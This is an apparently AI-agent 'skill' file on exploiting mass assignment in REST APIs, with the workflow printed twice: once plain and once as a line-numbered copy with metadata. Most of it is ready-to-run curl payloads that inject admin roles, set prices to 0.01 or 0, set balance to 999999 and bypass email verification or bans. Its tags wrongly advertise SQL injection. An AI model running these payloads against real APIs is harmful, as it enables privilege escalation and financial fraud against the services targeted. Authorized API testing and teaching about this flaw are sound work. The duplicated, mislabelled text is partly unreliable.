Exploiting Mass Assignment in REST APIs
When to Use
- When testing REST APIs that accept JSON input for creating or updating resources
- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
- When testing user registration, profile update, or account management endpoints
- During bug bounty hunting on applications with CRUD API operations
- When evaluating role-based access control implementation in API-driven applications
Prerequisites
- Burp Suite or Postman for API request crafting and interception
- Understanding of ORM auto-binding behavior in common frameworks
- API documentation or endpoint discovery through reconnaissance
- Multiple user accounts with different privilege levels for testing
- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
- Arjun or param-miner for hidden parameter discovery
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Discover API Structure and Fields
# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance
# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml
# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"
# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates
Step 2 — Test Privilege Escalation via Role Fields
# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"testuser","email":"test@test.com","role":"admin"}'
# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"isAdmin":true}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'
# Test during registration
curl -X POST http://target.com/api/register \
-H "Content-Type: application/json" \
-d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
Step 3 — Test Financial and Business Logic Fields
# Modify price or balance fields
curl -X POST http://target.com/api/orders \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id":1,"quantity":1,"price":0.01}'
# Modify account balance
curl -X PATCH http://target.com/api/wallet \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"balance":999999}'
# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'
# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"plan":"enterprise","price":0}'
Step 4 — Test Verification and Status Fields
# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email_verified":true,"verified":true,"active":true}'
# Modify account status
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"status":"active","banned":false,"suspended":false}'
> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.
1---2name: exploiting-mass-assignment-in-rest-apis3description: "Exploit mass assignment in REST APIs. Signals: web vulnerability, injection, SQL injection."4zh-signals: "Exploiting Mass Assignment in REST APIs 信号:web漏洞,注入,sql注入。"5when-to-use: >-6 Discovers and exploits mass assignment (autobinding) in REST APIs by injecting7 unexpected or hidden parameters (e.g. role, isAdmin, plan) into create/update8 requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable9 fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing10 REST APIs for privilege escalation or authorization bypass via unintended11 parameter binding.12domain: cybersecurity13subdomain: web-application-security14tags:15- mass-assignment16- api-security17- privilege-escalation18- rest-api19- autobinding20- parameter-injection21- owasp-api22version: '1.0'23author: mahipal24license: Apache-2.025nist_csf:26- PR.PS-0127- ID.RA-0128- PR.DS-1029- DE.CM-0130mitre_attack:31- T119032- T1059.00733- T1505.00334- T108335- T106836metadata:37 source: https://skillmd.com/skills/dangeroussong/exploiting-mass-assignment-in-rest-apis38---3940# Exploiting Mass Assignment in REST APIs4142## When to Use43- When testing REST APIs that accept JSON input for creating or updating resources44- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)45- When testing user registration, profile update, or account management endpoints46- During bug bounty hunting on applications with CRUD API operations47- When evaluating role-based access control implementation in API-driven applications4849## Prerequisites50- Burp Suite or Postman for API request crafting and interception51- Understanding of ORM auto-binding behavior in common frameworks52- API documentation or endpoint discovery through reconnaissance53- Multiple user accounts with different privilege levels for testing54- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)55- Arjun or param-miner for hidden parameter discovery565758> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.5960## Workflow6162### Step 1 — Discover API Structure and Fields63```bash64# Examine API responses to identify all object fields65curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .66# Response reveals fields: id, username, email, role, isAdmin, verified, balance6768# Check API documentation for exposed schemas69curl http://target.com/api/docs70curl http://target.com/swagger.json71curl http://target.com/openapi.yaml7273# Use Arjun for hidden parameter discovery74arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"7576# Examine create/update request body vs response body77# The response may contain more fields than the request sends78# Those extra fields are mass assignment candidates79```8081### Step 2 — Test Privilege Escalation via Role Fields82```bash83# Inject role/admin fields in profile update84curl -X PUT http://target.com/api/users/me \85 -H "Authorization: Bearer USER_TOKEN" \86 -H "Content-Type: application/json" \87 -d '{"username":"testuser","email":"test@test.com","role":"admin"}'8889# Try common admin field names90curl -X PATCH http://target.com/api/users/me \91 -H "Authorization: Bearer USER_TOKEN" \92 -H "Content-Type: application/json" \93 -d '{"isAdmin":true}'9495curl -X PATCH http://target.com/api/users/me \96 -H "Authorization: Bearer USER_TOKEN" \97 -H "Content-Type: application/json" \98 -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'99100# Test during registration101curl -X POST http://target.com/api/register \102 -H "Content-Type: application/json" \103 -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'104```105106### Step 3 — Test Financial and Business Logic Fields107```bash108# Modify price or balance fields109curl -X POST http://target.com/api/orders \110 -H "Authorization: Bearer USER_TOKEN" \111 -H "Content-Type: application/json" \112 -d '{"product_id":1,"quantity":1,"price":0.01}'113114# Modify account balance115curl -X PATCH http://target.com/api/wallet \116 -H "Authorization: Bearer USER_TOKEN" \117 -H "Content-Type: application/json" \118 -d '{"balance":999999}'119120# Modify discount or coupon fields121curl -X POST http://target.com/api/checkout \122 -H "Authorization: Bearer USER_TOKEN" \123 -H "Content-Type: application/json" \124 -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'125126# Modify subscription tier127curl -X PATCH http://target.com/api/subscription \128 -H "Authorization: Bearer USER_TOKEN" \129 -H "Content-Type: application/json" \130 -d '{"plan":"enterprise","price":0}'131```132133### Step 4 — Test Verification and Status Fields134```bash135# Bypass email verification136curl -X PATCH http://target.com/api/users/me \137 -H "Authorization: Bearer USER_TOKEN" \138 -H "Content-Type: application/json" \139 -d '{"email_verified":true,"verified":true,"active":true}'140141# Modify account status142curl -X PATCH http://target.com/api/users/me \143 -H "Authorization: Bearer USER_TOKEN" \144 -H "Content-Type: application/json" \145 -d '{"status":"active","banned":false,"suspended":false}'146147> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.